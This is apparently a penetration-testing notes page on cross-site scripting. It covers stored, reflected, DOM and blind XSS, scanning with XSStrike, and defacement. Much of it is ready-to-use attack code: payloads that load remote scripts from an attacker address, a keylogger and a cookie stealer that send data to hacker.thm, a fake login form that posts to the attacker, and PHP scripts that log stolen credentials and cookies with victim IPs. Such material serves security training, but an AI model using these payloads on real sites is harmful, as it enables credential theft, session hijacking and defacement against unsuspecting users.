βš”οΈCross Site Scripting (XSS)

XSS

Cross-site scripting is a vulnerability that lets us take some control of the web application by injecting code into it.

Using XSS we potentially can:

  • Modify site content

  • Inject malicious code that runs for all visitors to the site

  • Steal the cookies of a user

    • Perform legitimate actions as the now authorized user

  • Deface websites

First, we need to find a user input, this could be:

  • Form inputs

  • Cookies

  • Request headers

  • POST/ GET params

One of the first attacks to make is: πŸ›

<i>test</i>

if successful, move onto injecting javascript

<script src=alert(0);></script>

Stored XSS

A persistent type of XSS and one of the most critical.

The payload is stored in a backend DB and executes when another user visits the site.

An example of stored XSS is a forum that allows users to post comments. An attacker could leverage this functionality and write some malicious code to steal cookies from users or perform other damage.

Test Payload

A simple test for XSS, if we get an alert then we know the input is vulnerable

<script>alert(window.origin)</script>

If that is blocked we can try other payloads such as

<script>print()</script>

Things to test

  • Comments on a blog

  • User profile information

  • Forum posts

To check if the payload is persistent we can refresh the page to see if it is still there after the page loads.

Reflected XSS

A Non-Persistent XSS vulnerability which gets processed only on the client side.

Test parameters in the URL query, file paths and HTTP headers just in case.

  • The script comes from the current HTTP request

  • Malicious code is carried inside a request that can be sent to a victim via posting a link on social media or in an email

  • Used in search bars where input is reflected on the page

  • http://victim.site/search.php?find=<evilcode>

    • http://victim.site/search.php?find=<script>alert(window.origin)</script>

  • When the user clicks the link the script will execute on their system

DOM XSS

Another Non-Persistent type of XSS

The scripts exist only in client-side code and can occur when Javascript is used to change the page source through the DOM.

Test Payload

An example of this would be trying to load an HTML function onto the page:

<img src="" onerror=alert(window.origin)>
<img src="" onmouseover=alert(document.cookie)>

Injecting into global parameters like window.location.[PARAM]

Check to see how the code handles the values and if they are written to the DOM or passed to JS methods like eval()

We can now create a link like before and send it to our victim and it will execute on their system

  • http://example.site/#task=<img src=onerror=alert(document.cookie)>

Blind XSS

It's similar to Stored XSS but you can't see the payload working or test it against yourself as easily.

These vulnerabilities usually occur when it's triggered on a page we don't have access to.

  • Contact Forms

  • Support Tickets

  • Reviews

A website's contact form where you can contact a staff member may not have any input validation allowing you to enter malicious code, and our script can make calls back to their website revealing sensitive cookies.

Test your payload has a callback so you know the code has been executed.

We can't use our classic test payload of alert(window.origin) as we would not see it triggered.

If we are faced with a multipart form it may be hard to find which field is vulnerable and what payload to use too.

We can load a remote script hosted from our attacking machine. In this case, we can make a request for the field name to test against the username input field.

<script src="http://ATTACKERS_IP/FIELD_NAME_TO_TEST"></script>

<script src="http://ATTACKERS_IP/username"></script>

If we receive a request for the username field then we know it's vulnerable and we can start testing XSS payloads against it.

If payload isn't working be sure to try variations of it

A great resource for many resources including XSS injections

In this case using '>, works.

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

Now we set up a listener on our machine to catch the result

sudo nc -lvnp 8080

Common XSS Payloads

Many modern browsers block alert() so it's a good idea to try other payloads

Keylogger

<script>
    document.onkeypress = function(e) { 
        fetch('https://hacker.thm/log?key=' + btoa(e.key) );
    }
</script>

Session Stealing

<script>
    fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));
</script>

XSS Hunter is a great tool for testing these

XSS Discovery

We can manually poke and prod an application looking for any signs of XSS or we can use automated solutions.

Automated Discovery

Web application scanners usually have the capability to detect XSS vulnerabilities, and they usually perform both passive and active scans.

There are many free and paid tools out there but we will focus on XSS Strike for now

XSS Strike

Install and Setup

git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt

Running the Script

python xsstrike.py -u URL/index.php?key=...

             XSStrike v3.1.4

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: task 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072 
------------------------------------------------------------
[+] Payload: <HtMl%09onPoIntERENTER+=+confirm()> 
[!] Efficiency: 100 
[!] Confidence: 10 
[?] Would you like to continue scanning? [y/N]

Manual Discovery

We can manually test payloads from some great sources listed below but it would be a better idea to create some form of script to run each payload against our target instead of manually copying and pasting each one.

Code Reviewing

A reliable method of detecting XSS vulnerabilities is reading the code, if we can understand how our input has been handled we will be able to easily identify if there is a vector and how to exploit it.

Defacing Websites

If the site is vulnerable, we can inject JavaScript code through XSS to change the look of a website.

The main HTML methods for changing HTML:

  • Background Color -document.body.style.background

  • Background - document.body.background

  • Page Title - document.title

  • Page Text - DOM.innerHTML

Application

We will briefly go through a few methods of how we could use this on a vulnerable website.

Changing Page Title

<script>document.title = "Hacked Website"</script>

Changing Page Text

<script>document.getElementById("input-box").innerHTML = "Defaced Text"</script>
<script>document.getElementsByTagName('body')[0].innerHTML = "Defaced Text"</script>

A good idea is to run the HTML modifications locally to see how it looks before committing it to a final payload

Phishing

A common form of XSS attacks is phishing attacks, they can be used to inject fake login forms that send login details to an attacker's server to gain sensitive information.

Login Form Example

We can inject a login form on the targeted page and when submitted will send the login information to our listening server.

<h3>Please login to continue</h3>
<form action=http://IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

With the above template, we can write the HTML code to the page with document.write()

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Say we now have the login form on the page we want to hide our original XSS vulnerable form and potentially other elements on the page to make it seem like they are hidden behind the login. To do this we can use document.getElementById("ID").remove()

HTB

Credential Stealing

We could now set up a listener and if the form is submitted we would get back the login credentials used. This works but when the victim submits the form they would get an error and probably get suspicious.

We can write a small script in PHP to handle the form correctly by redirecting to the original page, which will help the authenticity of the login form and still get the credentials used. This would capture the request and save it to a file called creds.txt which would contain

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/index.php");
    fclose($file);
    exit();
}
?>

We can then host our file locally and then wait for someone to try and log in using our crafted form

  • sudo php -S 0.0.0.0:80

Session Hijacking

Most applications use cookies or sessions to manage a user's login, if we were able to obtain the cookie data we might be able to use it to impersonate a user and log in.

The attack is similar to the Phishing attack mentioned earlier, it starts with a JavaScript payload and then a locally hosted PHP server to listen and grab the data.

The Attack

// script.js
// We can use either, but the image option may look less suspicious 

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

Next, we submit our XSS payload into the vulnerable form on the website

<script src=http://OUR_IP/script.js></script>

We then can create a PHP script to catch the cookies if multiple victims fall foul to the XSS

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Finally, we start our PHP server and wait

Last updated

Was this helpful?